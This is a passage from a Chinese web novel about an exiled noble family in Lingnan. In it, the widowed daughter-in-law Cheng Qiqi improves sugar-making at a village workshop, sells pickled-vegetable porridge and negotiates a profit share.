程七七将她心底的担忧全部都说了出来。 忠勇侯这才松了一口气,这儿媳妇脑子倒是转的快,他道:“我会让人去好好查,至于制糖……你自己的手艺,如何?” “应该还可以!” 程七七不确定的说着,毕竟她是理论知识强大,但,今天冷屿配合,她觉得,只要多多尝试改进,肯定就能够让糖做的比京都的糖还好! “你就放心大胆的做,糖做的好了,也是敲门砖。” 忠勇侯意有所指的说着。 “谢谢爹。” 程七七放心了,她只要放心大胆干就行。 …… “小雪儿!” 靳雪儿正在捡柴的时候,旁边突然蹿出一个男人来,吓了靳雪儿一大跳。 “你要吓死我啊!” 靳雪儿拍了拍胸口,飞快的看了一眼不远处的哥哥靳砚之,然后才瞪眼看向男子。 庄海潮靠着树,正好躲住了靳砚之看来的方向,他道:“小雪儿,你这么漂亮的脸,不应该干这么苦的活啊。” 靳雪儿抿着唇,开始一点一点的捡着小树枝了。 “小雪儿,要不,你跟我吧。”庄海潮跟她接触了几次,愈发的觉得这京都来的小姑娘就是难搞。 红薯,鸡蛋都吃了他的,但,连个小手都不让他摸一下! 第一卷 第58章 小姑娘就是好吓 “喂。” 靳雪儿听着这话,脸色瞬间就吓白了,她连连往后退:“庄海潮,你还要不要脸?” “谁家好人想娶姑娘,那不是三书六礼,明媒正娶的?” 靳雪儿狠狠瞪了庄海潮一眼,往后退一步。 “哦~” 庄海潮赞同的点了点头:“谁家好人家的姑娘,也不会接受男子的吃食吧?” “不就一个红薯,一个鸡蛋?这算什么东西?” 靳雪儿睨了他一眼道:“再说了,那不是你正好路过,正好有多吗?” 当时庄海潮就是这么个借口,直接塞到她怀里! “是吗?” 庄海潮咧嘴一笑,露出一口洁白的牙齿道:“你这么说,村里人会信吗?” “他们只会觉得,你勾引我。” 庄海潮盯着靳雪儿的脸,京都来的姑娘,生的就是水灵漂亮,小姑娘就像是含苞待放的花骨朵似的,靠得近了,隐隐能闻到少女的幽香。 “你少胡说,是你自己掉的,我捡到的,跟你有什么关系?” 靳雪儿吓的连连往后退,转身就跑了。 她心底惴惴不安着,谁说她要吃红薯和鸡蛋了? 穷酸的乡下人! 一个红薯,一个鸡蛋,就想干点啥了? “靳雪儿,你捡的柴呢?” 靳砚之一脸不耐的看着靳雪儿,要不是他娘和妹妹,他每天能吃上嫂子做的香喷喷的饭菜! 现在好了,娘做饭不行,靳雪儿干活不行! “哥,你凶什么!” 靳雪儿刚刚被庄海潮吓着了,这会被亲哥一吼,瞬间眼泪都出来了。 “你……” 靳砚之看着她眼泪嗒嗒的掉了下来,最终,只能无奈的说:“行了行了,我也没说什么啊?你哭什么?” “你就是凶我!” “别人家哥哥都是护着妹妹,有好吃的给妹妹,有钱给妹妹花,你倒好,处处抢我的!” 靳雪儿越说越委屈,最后呜咽大哭了起来! “你能不能别哭了!” 靳砚之看着她哭的更凶了,最后烦燥的说:“捡柴归我,我背回去,你先把树枝堆放一起,行了吧?” 靳砚之看着她哭,就忍不住的烦躁! “呜呜呜~” 靳雪儿越哭越凶,最后干脆坐在旁边的树枝上哭。 靳砚之:“……” 他的拳头都拧出水来了,最终,深吸了一口气,换作他是嫂子,也不愿意跟这样的人,当一家人吧? 不远处,庄海潮看着这一幕,嘴角勾起一抹嘲讽的笑:小姑娘就是小姑娘,吓一吓就哭的不行了! …… 晚饭后,程七七给靳家旁支三房,都送了两块糖! “娘,真甜。” 靳岁安手里的糖都快被拿化了,依依不舍的,时不时的舔一口! “安安,糖拿给娘,娘给你收着好不好?” 程七七有时候都觉得,她是不是把女儿养的太省了,这么一块糖,吃了一晚上。 “好。” 靳岁安笑着将糖递上前。 “胡子叔叔!” 靳岁安的眼睛一亮,一抬头就看到黑土了,她朝着他飞奔,扎着两个小辫的头发,一翘一翘的,甚是可爱。 “岁安。” 靳墨之蹲下身子,将女儿抱了一个满怀。 “胡子叔叔,我娘今天可厉害了,她……她……” 靳岁安偏头,努力了半晌,道:“我娘挣了好多好多糖!” 靳岁安夸张的说着。 程七七进了房间,听着女儿的话,忍不住摇了摇头,女儿还真是喜欢胡子叔叔! 难道…… 程七七抬头,透过窗户往外看了一眼,看侧颜的话,黑土那优越的大长腿,那比例完美的颀长身材。 高大的他抱着小小的靳岁安时,形成了极致的反差感。 如果世子还在,女儿……或许也能感受父爱的吧? 程七七想,她的女儿这么好,肯定大家都喜欢。 程七七甩开脑子里乱七八糟的想法,就开始继续拿着本子写写画画了! 她的空间是死后,随着穿越觉醒的,空间里一片虚无,连种菜都不行,唯有她生前的小别墅就像是扎根到空间里一样! 唯一值得庆幸的就是,她的小别墅里,因为快过年了,塞了满满的东西,甚至那几天,她鬼使神差的囤了很多的药品! 等穿越后,她才反应过来,她大概是心有所感? “制糖的话,改良压榨,同样的甘蔗,出汁率多,那么糖,自然就多了。” 程七七认真的记在本本。 “第二,三锅控温熬糖,这样就不会因为火力太猛,而熬焦了!” “第三,结晶提纯也很重要,像糖坊现在做的糖块,一点都不均匀。” “最后,卖糖的时候,那不能统一卖,得区分出精品,专门卖给富贵有权势的人家,他们不缺钱。” “中等糖,就可以稳定口碑,让那些稍微有追求的顾客来买。” “普通糖,薄利多销,精准网罗客户!” 程七七的小本本记得密密麻麻的,还特意用红笔圈了应该注意的事项。 “娘。” 女儿的声音由远及近,程七七立刻就将小本本收了起来,道:“安安,饿了吧?我现在就去做饭。” “娘,你看,我的新棉袄,好不好看?” 靳岁安抱着一件红色的小袄,滚了一圈白色兔毛,光看着就觉得格外漂亮,衬的靳岁安皮肤雪白如玉。 “真好看,这是哪来的?” 程七七诧异极了,她没买衣服啊。 “胡子叔叔送的。” 靳岁安紧紧抱着衣服,没等程七七回答,她道:“娘,爷爷说,我可以收的。” “娘,我可以收吗?” 靳岁安嘴上问着,但双手紧抱着衣服的手,却是连松都不带松的! “收,可以收。” 程七七无奈的笑着,等她出去厨房做饭,跟柳素仪说了这事,柳素仪道:“既然他受过墨儿的大恩,给安安买一身衣服,也没什么不能收的。” “就收着吧。” 柳素仪说着,道:“我今天绣了两方帕子,等会你看看绣的怎么样。” “静瑶和李氏还有林惠兰绣的帕子,都放到我这里了,我看过了,绣的都不错。” 柳素仪主动开口。 “娘,有你把关,我放心的很。” 程七七本来想着晚饭后过问一下呢,谁知道,柳素仪主动的把事情给处理好了。 “你是不是要走了?” 忠勇侯看着儿子,之前说五天就走,眼看着明天就是最后一天了。 第一卷 第59章 何必相请? 天刚亮,程七七正准备熬粥,就发现,灶已经烧得很旺了,锅里的水都已经热了起来。 难道有田螺姑娘? 程七七一回头,看到一个高大的人影,把她吓了一跳。 “我把锅烧热,你就可以直接熬粥,减少时间。” 靳墨之开口,天际只泛起鱼肚白,程七七刚睡醒打着哈欠的样子,迷迷糊糊的走进厨房,就像是迷路的小鹿,让人移不开眼。 “你,真厉害。” 程七七拍了拍因惊吓而开始剧烈跳动的胸口,忙碌着拿米下锅熬粥了。 “七七,你这么早?” 柳素仪听着动静,也早早的就起来了,见着程七七在锅边熬粥,黑土在灶前烧火,这一幕,无比的和谐,就像是一家人…… 柳素仪浑身一个激灵,飞快的摇头,黑土是一个太监,她真是起太早了,脑子都不清醒了! 要是墨儿还在,他跟七七肯定也能……很幸福吧? “娘,我要熬粥,等会去卖酸菜粥。” 程七七笑着解释道:“娘,今天说好卖酸菜粥的。” “不是要去糖坊?” 柳素仪愣了一下,昨天说好去糖坊的。 “我去糖坊,靳砚之、还有靳礼之他们可以去卖酸菜粥!” 程七七道:“酸菜已经酸了,不能浪费赚钱的机会。” “那,他们怎么不来帮你熬粥?” 柳素仪蹙眉,不希望自家儿媳妇受了委屈,吃了亏。 “因为我不去卖酸菜粥,全程由他们去卖,我自然在家里就把这些粥和酸菜配好。” 程七七熬好粥之后,就开始开缸切酸菜了,盖子一打开,浓浓的酸味扑面而来,程七七欣喜的切了一点,先尝了尝味道,酸酸脆脆的,现在的酸度,正好合适! “娘,你尝尝。” 程七七不管用火,等锅里需要搅动了,动动嘴皮子,柳素仪就会搅动着粥,她问:“靳砚之和靳礼之他们去卖酸菜粥,那,其它人呢?” “三房胜兰和靳晴负责洗芥菜,晒芥菜。” 程七七昨天就跟他们商量好了,大家都出力,每个人的分工合理。 “靳礼之为人憨厚,倒确实不错。” 柳素仪想起靳礼之的为人,确实是值得相信。 “娘,你放心,这些东西卖得了多少钱,有数。” 程七七微笑着,酸菜切好之后,就开始包酸菜包了,鉴于上一次有人一次买十勺回去的,因为十勺会送一勺,因此,程七七打算直接打算包十勺的。 用油纸包,也能最大程度的利用油纸。 十勺,送一勺,每一勺,程七七的分量,都给的十分的实诚,保准不会少。 大家陆陆续续的起来干活了,忠勇侯和靳砚之父子两个去附近的山上,捡了很多柴回来,回来也没歇着,父子两个去挑水,很快,就将大水缸挑满了。 程七七看了一眼靳砚之,这人还真挺有进步的。 “砚之,累了吧?喝口水,你怎么挑这么多水,我们才三个人,用不了……”这么多水。 林惠兰的话还没说完,靳砚之道:“小娘,正因为爹和夫人他们人多,才需要帮忙挑水。” 不然,他什么时候能再吃到嫂子做的菜? “小娘你赶紧做面疙瘩吧,我饿了,等会还要去卖酸菜粥。”靳砚之的眼睛亮晶晶的,一想到要去卖酸菜粥,他就干劲十足! “……” 被催促的林惠兰,看着靳砚之那一脸兴奋的样子,忍不住嘴角抽了抽,这儿子……怎么干活还上瘾了呢? “爹,我跟着哥哥去卖酸菜粥吧,我是女孩子,肯定能像嫂子一样,卖的很好的。” 靳雪儿缠着忠勇侯,就想去卖酸菜粥。 “不行。” 忠勇侯拒绝道:“他们两个先试试水,省得还要分心保护你。” 靳雪儿的性格,忠勇侯那是门儿清着呢,让她去卖酸菜粥? 到时候只怕她自己脸皮薄,连板车都不下,还得去县里逛街买吃的,买布料做新衣服。 最终,靳雪儿也没能去卖酸菜粥,只能狠狠的瞪了程七七一眼,气呼呼的去管训台了。 “……” 程七七毫不犹豫的瞪了回去,靳雪儿要比谁眼睛大不成? 到了糖坊,冷屿三兄弟都在,就连冷婆子见着她带着笑意。 “冷姑姑,她真能熬糖吗?还花一百文钱请她?” 宋珍妹听到今天让程七七熬糖的时候,宋珍妹的瞌睡虫都跑了。 冷婆子看了她一眼:“你好好干活,你舅舅可说了,要是不好好干活,送你回去嫁人!” “别。” 宋珍妹立刻乖乖站在一旁不说话了。 程七七进了糖坊,看到大家的眼神,也没说什么,只道:“冷……” “冷屿。” 冷屿抿着唇,似乎没想到程七七连他的名记都没记住。 “这榨汁的机器,得改进一下。” 程七七说着,直接就说出了几个改良的地方,工人们齐齐看向冷屿,这小女娃看起来这么小,靠谱吗? “听她的。” 冷屿开口道:“靳少夫人,这是……改良机器,能多出汁吗?” 程七七看了他一眼没说话,道:“等会我说你做。” 程七七将昨天的笔记重点,在脑海里过了一遍,然后就开始指挥着熬糖了! 老师傅们挥汗如雨,推动着石碾,第一道汁榨出来之后,她道:“另外再拿木桶来装!” “这一锅,拿去熬糖。” 程七七的话音方落,冷屿道:“靳少夫人,这后面还有很多糖汁,等着一起熬,他……” “你知道为什么你们熬出来的糖,色泽不够好,味道不够香吗?” 程七七睨了他一眼:“如果你想请我熬糖,就闭嘴!” 在一旁包着糖块的温氏,看着这一幕,都惊呆了,七七可真勇,连冷少东家都敢骂??? 被骂了的冷屿,脸色一会红一会青的。 “程七七,你别当自己还是什么世子妃,少夫人,这糖要熬不好,以后有你好日子过的。”护孙子的冷婆子上前一步,手上依旧拿着那把磨得发亮的戒尺。 “既然请我来熬糖,便按我说的做,如果处处质疑我的话,又何必相请?” 程七七眼皮微掀,哪怕糖坊都是冷家人,她也丝毫不惧:“如今不过是榨汁,等到上锅熬糖,差一时半刻的,都有可能让一锅糖成为废糖!” 第一卷 第60章 就不该相信犯人 静。 死一般的安静! 冷婆婆作为糖坊的东家,村里哪个人不是捧着她? 敬着她? 还是第一次,有人敢像程七七这样怼她的! 糖坊的人,哪个没有被冷婆婆的戒尺打过? 哪怕是糖坊的老师傅,也吃过冷婆婆的戒尺,可,这会大家全部都倒吸了一口气,这小姑娘,不,小媳妇能扛得住冷婆婆的戒尺吗? 来了来了。 糖坊老师傅齐齐的后退了一步,盯着冷婆婆手里的戒尺,青筋直跳,看起来……要忍不住了。 冷屿的唇动了动,正想着要不要开口,就听到一个清脆的声音响起。 “冷婆婆,不会你想让我熬一锅废糖,好让我赔钱吗?” 程七七清脆的声音响起,她的眼神里,没有一星半点的害怕。 她的身子娇小,但脊背却挺得直直的。 冷屿看着程七七,这姑娘,是第一个不怕奶奶的。 “哼,按着她说的做,要是糖熬废了……” 冷婆子冷哼一声,那声音就像是从牙缝里挤出的一样,她手里的戒尺,都要被抓断了! 程七七没再看她,继续指挥着。 第一道汁的糖入锅,程七七道:“再准备一口锅,上中火,最后准备第三口锅,上小火。” 程七七吩咐着,示意冷屿动手搅拌。 冷屿手比脑子快,直接动手搅拌着锅里的糖,他下意识的看了一眼程七七。 程七七侧身,已经跟榨汁的师傅说道:“第二道汁,继续。” 和第一道汁相比,老师傅们推动着石碾,出来的汁,越来越少。 “加少量的水。” 程七七一开口,冷婆子下意识的想开口,想着刚刚被怼的话,朝着大儿子冷岛使眼色。 “加水不是浪费木柴吗?我……” 冷岛的话只说出来一半,程七七打断道:“质疑的话,留着后面说,我让你们加水,就加水。” 程七七不由分说,话语坚定。 冷岛只得求助的看向奶奶,冷婆子不说话,冷岛就拿着葫芦瓢加水了。 “停。” 程七七看着冷岛加入的水差不多量了,立刻喊停,道:“再榨一遍。” 程七七又走到锅边,看着锅里的糖已经开始沸腾了,她道:“立刻放进第二个中火锅里。” 冷屿这下不敢置疑了,立刻拿出铁勺就开始行动了,很快,第一个锅就空了,冷岛榨的汁也成了。 第二锅汁水下锅,冷岛看着被榨干的甘蔗渣,直接抓了一点往嘴里嚼了一嚼,下一刻,他的眼睛亮了:“奶奶,似乎,确实不怎么甜了。” 以往榨的汁,总还是带着甜味,现在,加水再榨过,似乎就真的没那么甜了! 冷婆婆没说话,抓了一点甘蔗渣往嘴里送,干了一辈子的糖坊,冷婆婆虽然没有说话,但眼底的震惊,看向程七七的眼神,却是更加的郑重! 昨天程七七果断的收下那一百文钱时,她心里还犯嘀咕,说不定要浪费一锅糖了,可现在…… 程七七才不管她怎么想,她已经寸步不离的站在糖锅旁,从第二锅,换到第三锅,那可是得精准的把控时间。 “换第三锅。” 程七七瞧着时间差不多了,立刻开口,最后的小火锅里,糖越熬越浓,很快,就倒入到了模具当中。 冷屿看着颜色清亮,明显比他们之前熬的更好,糖香十足的,心底也多了几分信心,拿着搅棍,正准备去动第二批的甘蔗汁。 “等会,这模具里的糖,继续搅。” 程七七的话,让冷屿又震惊了,但,还是乖乖听话。 程七七也不解释,就让冷屿去搅,等细小的气泡没了搅得匀了,这才让冷屿停手,等待着糖冷却结晶! 第二批的甘蔗汁,程七七发现,冷屿操作的还算不错的,只不过,时间上,依旧把控不住。 程七七也没有再出声,只是眉不动声色的挑了起来,冷家该不会以为她真的蠢,把核心的事情往外说吧? 熬糖最重要的几个步骤,她牢记于心。 就这么一锅糖? 她敢保证,冷屿绝对学不会,要真有这么简单,人人看一遍,就是大师傅了。 程七七坐到了温氏的旁边:“三婶,你要把自己憋死?” “呼。” 温氏这才重重的呼出一口气道:“七七,你刚刚真的太……太……厉害了!” 温氏都不知道该怎么开窍了,明明是乡野出身,这气场强大的,却厉害的很。 难怪人家能当世子妃呢。 此时的温氏,完全忘记了程七七这个有名无实的世子妃,在忠勇侯府,那是可有可无的。 “七七,你,你全教完了,以后,岂不是让他们白学了去?” 温氏不懂熬糖,但,看着简单,冷家人又是熬了一辈子糖,说不定,就学了去呢? “三婶,要真这么容易学会,能是家传秘方吗?” 程七七浅浅一笑,她开始坐着包糖块了,昨天那一锅,带着微焦的糖,也算是救回来了。 时间一点点的过去,第一锅糖开盖的那一刻,所有人都紧张的盯着。 “七七,糖肯定能很好。” “七七,我,我怎么觉得冷呢?” 温氏抓着程七七的手,只觉得手都开始发颤。 “三婶,你放心。” 程七七没想到温氏比她还紧张呢,她从小学什么都快,从高中开始兼职过无数的工作,糖坊,她也兼职过。 为了能够在手工糖坊里,多拿一百块钱的工资,她可是背了很多的理论知识。 虽然没有上手实操,但是古法手工糖怎么做的,她那是一清二楚的。 “这,不可能!” 冷屿惊呼。 “是不是糖坏了?这些犯人,就不该相信她们!” 冷婆子激动的冲上前,声音戛然而止,当她看到模具里的糖,色泽晶莹,糖香浓郁,结晶状态非常好时,她都惊呆了! 熬了一辈子的糖,冷婆子一直觉得他们的做的糖,在岭南那是最好的了! 可是现在,冷婆子沉默了,这简直就是一个笑话。 “我们确实是犯人,冷婆婆不相信我们也是应该的。” 程七七似自嘲似的声音,从冷婆子身后响起,话落,程七七转身离去。 第一卷 第61章 这就放弃了? “七七。” 温氏连忙跟了上去,一脸担心的回头道:“我们就这么走了,你岂不是白忙活了?” 程七七笑而不语,她的脚步走的十分的坚定,没有半点停顿和回头,即将走出糖坊大门的时候,她的身后传来了冷婆子的声音。 “慢着!” 冷婆子追了过来:“程七七,是我不对。” 冷婆子果断道歉道:“你制的糖很好,我们愿意聘请你为大师傅。” 程七七问:“多少钱?” “一,一百文钱一天?” 冷婆子尝试着。 程七七直接从随身的布袋子里拿一百文钱放到了旁边的甘蔗上:“这一百文钱,是冷婆婆你们昨天给我定的价,现在糖就在那里,价值几何,你们商量好了,再来谈。” 话落,程七七转身就走。 温氏看了一眼那一百文钱,这一天的工钱,怎么能还回去呢? 难不成,还干白工了? 程七七一走,冷婆子看着那一百文钱,心底清楚,她这是对一百文钱不满意了。 冷婆子回到了糖坊,看着刚出锅的糖,那样鲜亮的色泽,那样上等的糖,如果拿去卖,绝对能卖个大价钱,但…… 出多少钱合适? “七七,回来了?糖熬的怎么样了?” 正在绣帕子的柳素仪见着程七七回来,连忙将她煨的红薯拿了出来:“快,我给我煨了个红薯,安安吃了红薯,下午睡了一觉,这会还没醒呢。” 还带着温热的红薯,光闻着就香。 “谢谢娘。” 程七七剥了皮吃了,软糯的红薯香,忙了一天的她,实在是舒服了。 “糖熬的还不错,冷家还想聘请我为大师傅呢。” 程七七谦虚的说着。 温氏一听这话,立刻从厨房探出脑袋:“二嫂,七七的糖哪里叫熬的还不错,那叫熬的很好很好,把冷家人都唬住了!” 温氏绘声绘色的说着,正在洗着芥菜的高胜兰。 绣着帕子的林惠兰、孟静瑶和李氏三个人听的一愣一愣的。 林惠兰看着程七七:“她能熬这么好的糖?” “七七,我不是这个意思。” 林惠兰似乎意识到自己说错了话,抬手打了自己的嘴,道歉道:“七七,对不起。” 如今程七七可不是府里那个随意欺辱的乡下世子妃了。 她看得出来,老爷很是看重她。 难道因为她成了寡妇? 怕她撇下孩子跑了? 林惠兰心中这么嘀咕着,面上却带着笑容,她可不敢再惹事,否则,老爷真把她赶出去了,她哭都没地去! “今天又有口福了!” 忠勇侯拎着一只兔子回来,高兴的说道:“今天得了一窝兔子,你们看,还怀着崽呢!” “要是养得活,这兔子生崽,我们就不缺肉吃了!” 忠勇侯的声音里都透着高兴。 “爷爷,兔子,我可以摸摸吗?” 刚睡醒的靳岁安看着兔子,眼睛亮晶晶的,忠勇侯被孙女一口一个爷爷,哄的眉开眼笑的,三下五除二的,就钉了一个兔笼。 “爷爷,我每天都给兔子打草。” 靳岁安脆生生的说着,摸着兔子耳朵道:“兔兔,乖乖的长大!” 小姑娘眉眼如画,漂亮的大眼睛里满是喜悦。 忠勇侯看的心都软了,拿出偷偷藏的鸟蛋给靳岁安。 “娘一个,奶奶一个,太奶奶一个,爷爷一个,安安一个。” 靳岁安将鸟蛋分的明明白白的。 林惠兰母子三个人看着这鸟蛋,瞪红了眼:“……” 晚饭后,忠勇侯就问起熬糖的事情了,程七七道:“糖熬的很成功,就看冷家愿意怎么聘请我了。” “做的好。” 忠勇侯对程七七的做法表示肯定:“你的手艺是最值钱的,有两种方法,一种拿工钱,干多少活,拿多少钱。” “第二种,那就是以技术加入糖坊,糖坊卖得的利润,最少分三成给你。” 忠勇侯给她建议。 程七七若有所思的点头,拿死工钱?那还不如不干的! 选第二种……似乎也不够牢靠。 忠勇侯继续说:“冷家糖坊这次危机是两件事情,一个是因为熬糖的大师傅,也就是冷屿的亲爷爷快死了。” “第二,冷家糖坊的靠山在县里出了事,怕是保不住糖坊了,真要加入糖坊,拖两天再说。” 忠勇侯补充着:“这个消息,我不止问了一个犯人,还找赵大人打听了,他是冷家的大舅哥。” “爹,赵大人看起来很凶。” 程七七想起那日见到的赵黑,看起来比刀疤张还黑心的样子! 没想到,她这个公爹看着大老粗,居然会因为她去熬糖的事情,就打听得这么清楚。 “你也说了,看起来凶,我的打猎技术,让他隔三岔五的就吃上肉,想打听点事,还是容易的。” 忠勇侯略过了怎么讨好赵黑的,他道:“赵黑告诉我,应该也是想试探一下,我们有没有能力保住糖坊。” “……” 程七七沉默了下来,她就说,消息怎么能这么好就打听出来,她道:“爹,这事我们能处理吗?不能处理就算了,赚钱的事情千千万,不能连累我们了!” 她打上糖坊的主意,也就是因为归化里村甘蔗多,糖,又是高利润的必须品。 真要惹上麻烦事,那还是换活干好了! “七七,你这就放弃了?” 忠勇侯想了一肚子的办法,看着程七七这么果断的放弃,不由的愣了! “爹,我想赚钱没错,但我更希望家人平安。” 程七七的视线落在靳岁安的身上,她正趴在兔子窝边摸兔子呢,那可爱的小模样,软软乎乎的,是她想要守护的存在。 “老爷,七七说的对,我们的东西不是快运过来了吗?到时候吃饱穿暖没问题,别冒险了。” 柳素仪附和的说着:“安安才三岁,还这么小,可不能有事。” 流放路上,安安病了好几回,要不是程七七整夜整夜的守着,她都担心,安安能不能走到流放地。 “素仪,七七,我知道你们的担心是什么,但,只要七七想做,这事,不难。” 忠勇侯看着程七七道:“你是靳家的儿媳妇,我们如今虽然流放了,但还有老部下,若是糖坊真能做成,我有法子销到外地去。” 销到外地? 程七七的眼睛亮了,如果是这样,那她跟糖坊谈合作的时候,就需要重新考虑了。 第一卷 第62章 她咋不上天呢? “嫂子,我们回来了!” 靳砚之乍乍呼呼的声音响起,人还没进来,那声音就已经到了。 “嫂子,你猜猜我们今天卖了多少钱!” 靳砚之激动的大喊着。 不止是程七七,靳家人这会全部都凑了过来,酸菜粥的生意,如今他们一大家子,可都是加入了! “卖光了?” 程七七看了一眼,道:“那应该是一千文不到。” 她今天熬的三锅粥,两大缸子酸菜,别小看这一勺二文钱的酸菜,成本很低,利润却很高。 “嫂子,你这算的也太准了!” 靳砚之的眼睛亮晶晶的,激动的将钱全部拿了出来道:“一共是九百六十文钱,马上就是一千文钱了。” “本来今天能回来得早一点的,我们去买粮食去了,也不知道怎么回事,米铺排了很久的队。” 靳砚之嘴巴一进门之后,就一直没停过道:“我们好不容易,才抢来三斗米的。” “三斗三十升米,六百文钱。” “糯米二十五文钱一斤,我们就买了两升。” 靳砚之补充了一句道:“一共花了六百五十文钱,剩下的三百一十文,都在这里了。” “应该是快过年了。” 靳礼之补充道:“我们还买油纸,花了三十文钱。” 他们流放路上走了三个月,到这里就十二月了,确实是快过年了。 “对,二百八十文了。” 靳砚之一拍脑袋,连忙发誓道:“嫂子,我们可是一文都没贪!” “不错。” 程七七夸赞着,看着满当当的米道:“以后就拿这些米去熬粥,还有我之前买的白菜,成本都记在本子上了,今晚我们算一下账,钱就不分了!” 程七七嘴皮子利索的说着,虽然大家都参与进来了,人多,钱少,分到手的钱就更少了。 “荷叶容易破,油纸是买十勺送一勺才包的,这样大家买回家,吃的更放心。” 程七七解释着,酸菜粥的生意刚刚开始,靳砚之和靳礼之就完全不用她操心了,她很满意,这才适合她当甩手掌柜了! 程七七把账目算的清清楚楚的,冷家人就上门了。 冷婆子这次的态度,比上回还要好,脸上还带着笑容。 “你要三成的利润?” 冷婆子听到程七七的话,脸上的笑容,瞬间就顿住,她起身就走,靳家人不过是流放的犯人,居然还想要拿三成的利润? 她咋不上天呢? 冷婆子越想越气:“小屿,这事决不能答应,不就是会熬糖吗?还想拿三成利润,她真当钱是天上掉下来的不成?” “拖她一拖,到时候她还不得乖乖来糖坊干活?” 冷婆子气的咬牙切齿着。 “奶,可我们真的找不到人了,那样好的糖,我们肯定能卖更多的钱的。” 冷屿欲言又止的说着:“舅舅也说了,县里的孔家出事了,我们……也得想想法子,我……” “啪。” 冷婆子一巴掌就拍到了他的肩膀上,道:“你舅舅就是大惊小怪的,孔家得了我们这么多钱,我们的糖坊能有什么事?” “倒是你爷爷,这郎中不行,开的药,一点用都没有。” 冷婆子蹙起了眉头道:“小屿,你明天再去请郎中来。” “哦。” 冷屿揉着被打痛的肩膀,自家奶奶怎么手劲这么大? “不用着急,冷家硬气不了多久。” 忠勇侯看着冷家人离开,出声着安慰着:“我们第一批物资就要到了,今天你们都晚些睡。” “爹,我不着急。” 程七七一点不着急,糖坊如果真如公爹说的这样,那以后,就是冷家人求着她出面了。 物资? 程七七都好奇了起来,被流放的靳家人,一路上吃尽了苦头,现在还能留什么后手呢? 很快,程七七就知道了。 足足七辆马车的东西,粮食就有一马车,米虽然依旧是糙米,但还有一袋子是精米。 御寒的衣物更多,每人都有两件,换洗没问题,款式虽然丑点,但,丑点好啊,才符合他们流放犯人的身份! 最好的就是大棉被了。 岭南冬天不算冷,但,也只是相对来说,夜里依旧是冷的。 女儿年纪小,每天晚上她都要从空间里拿出厚被子来盖,清早的时候,再将厚被子收起来。 “少夫人,这是着给安安……小姐的。” 黑土特意将他送给安安的宽檐笠帽,竹子编织的小帽子,很是小巧精致,她问:“这是你编的?你怎么会要送给安安这个?” 宽大的帽檐,正好能挡住岭南毒辣的太阳。 “安安小姐喜欢跟允小姐去摘蘑菇,我想,这个适合她。” 黑土顿了一下,不知道该怎么说。 “黑土要去西北了,他喜欢安安,亲手编的草帽,也是个心意。” 忠勇侯开口。 “那我就替安安谢谢了。” 程七七接下了宽檐笠帽,拿在手里,就发现,这竹片的很薄,还打磨过,光滑的很,竹子涂了熟铜油,增加了笠帽的使用寿命。 内里还糊了一层油纸,编上了麻绳,仔细看,角落里有一个小小的字,程七七仔细辨认了一番,才道:“安?” “难怪安安喜欢胡子叔叔呢,这帽子,他也费了不少心思。” 程七七坐着重新铺过的柔软床上,下面依旧垫着稻草,但褥子比以前更厚,被子比以前更软。 依旧是老旧的床套,但内里的棉花,却蓬松柔软了。 夜渐深,忠勇侯和靳墨之聊了一整晚,天际泛起了鱼肚白,忠勇侯道:“你媳妇和女儿,老爹肯定给照顾的妥妥的!” “爹,我去生火。” 靳墨之一晚上没睡,反而是更加精神了,这次烧火了之后,以后只怕,很长一段时间,不能烧火了吧? 程七七打着哈欠出现在厨房,看到黑土时倒也没意外,知道他要走了,程七七煮完粥之后,又特意烙了几个饼:“祝你一路平安。” 热腾腾的葱花饼,靳墨之道:“若有事,找重山。” “好的。” 程七七微笑着点头,心中却升起一种怪异,这人怎么像是即将远行的人,放心不下自家妻子的口吻呢? 第一卷 第63章 糖坊被砸 雾蒙蒙的清晨,靳家人都在忙碌着。 身体渐渐好转的老夫人,坐在院子里,晒着初升的太阳,手里拿着鞋底在纳着。 柳素仪拿着衣裳去河边清洗。 忠勇侯则是去山里捡柴了,就连靳岁安,也跟着姐靳允一起去附近扯兔草了,昨天晚上做梦都念叨着兔兔。 程七七熬完粥,就开始包酸菜包了,昨天十勺送一勺的活动很好。 程七七准备多准备一点十一勺的酸菜包,这样的话,也能最大限度的不浪费油纸。 “嫂子,柴已经劈好了,水缸也挑满了。” 靳砚之劈柴,抱进厨房的柴火垛,又把水挑满了,看着程七七的时候,脸上的笑容那叫一个亲切。 “行,锅里的粥也差不多了,你们可以带到县里去卖了。” 程七七说着,将包好的几篮子酸菜包递上前:“都是十勺送一勺的,每一份卖二十文。” “好勒。” 靳砚之现在不用去砍樟木,整个人都精神的不行,看着那满当当的酸菜包道:“嫂子,昨天有人觉得我们的酸菜包,没有十一勺,我当场就给他试了!” “十一勺满满的,还有多哩。” 靳砚之说的唾沫横飞的,随即认真请教问:“嫂子,你这是每一包的分量,都足吗?” 这个方法,是昨天嫂子临出门前跟他说的,要是有人质疑,就直接当场拆包,一勺一勺地装! 当时装的时候,靳砚之心里那叫一个忐忑不安,生怕万一不够。 “当然了。” 程七七最篮子填满了酸菜包,她伸了一个懒腰,道:“做生意最讲究诚信了,说好买十勺,送一勺,那就是买十勺送一勺,要是量不给足,岂不是骗别人?” “我们要做的长久生意,不是一竿子的买卖。” 程七七睨了他一眼,这纨绔子弟做生意,还是有点天分了,他活泼,嘴皮子能说,靳礼之老实憨厚,搭在一起,正好合适! “嫂子说的是。” 靳砚之笑的嘴都咧开了道:“嫂子,这都有一百来包吧?” “不止。” 程七七看了他一眼道:“你们赶紧收拾,我跟胜兰还有靳晴她们一起包,争取再包个一百包。” 靳砚之、靳礼之一起帮忙将粥固定在板车上,程七七跟着高胜兰还有靳晴一起继续包酸菜包。 程七七负责分量,分好之后,高胜兰和靳晴两个人包! 忙碌的清早过去,靳砚之他们早早的就带着酸菜粥前往县城了。 林惠兰看着他离去的背影,想着昨天就来气! “砚之,钱拿来。” 晚饭后,林惠兰就找靳砚之拿钱,靳砚之一脸懵:“什么钱?” “当然是你今天卖酸菜粥的钱了!” 林惠兰看着他道:“你别告诉我,你一文钱没贪???” “小娘,你什么意思,我怎么能做这事?” 靳砚之憋红着脸,眼神十分的受伤。 林惠兰:“……”她怎么生了这么一个蠢儿子? “娘,你能不能跟爹说说,我不去上工了?” 靳雪儿的声音,打断了林惠兰的思绪,正在认真绣帕子的林惠兰道:“早就让你好好学绣花,不学?不然,现在也不用去上工了?” “……” 靳雪儿一听着这念叨的话语,瞬间就站了起来,没好气的说:“行了,我去上工就去上工,行了吧?” 管训场,程七七今日没有去上工,糖坊的钩子都抛下去了,她何必折磨自己? 